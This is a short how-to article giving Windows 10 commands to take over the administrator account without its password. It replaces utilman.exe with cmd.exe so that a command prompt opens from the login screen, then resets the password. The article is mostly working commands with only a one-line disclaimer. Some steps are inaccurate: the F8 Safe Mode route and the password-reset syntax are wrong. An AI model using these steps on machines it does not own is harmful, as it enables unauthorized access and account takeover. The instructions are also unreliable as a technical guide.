How to Gain Administrator Access on Windows 10 Without Password

How to Gain Administrator Access on Windows 10 Without Password

Windows 10 offers robust security features, including user accounts with different levels of access. However, there are instances where you may need to gain administrator access without a password. Below are steps to accomplish this:

1. Boot into Safe Mode by restarting your computer and pressing F8 before the Windows logo appears.
2. Select 'Safe Mode with Command Prompt'.
3. Once in Command Prompt, type 'net user administrator /active:yes' and press Enter.
4. Rename the Utilman.exe file by running the command 'ren C:\Windows\System32\utilman.exe utilman.exe.bak'.
5. Copy cmd.exe and rename the copy as Utilman.exe with commands 'copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe' and 'copy C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\utilman.exe'.
6. Restart your computer and on the login screen, click on the Ease of Access icon which will now open a Command Prompt window.
7. Change the administrator password by typing 'net user administrator *<new password>'.
8. Login as administrator with the new password.

It is important to note that attempting to gain unauthorized access to a computer is illegal and unethical. These steps should only be used on your own computer when you have legitimate reasons for doing so.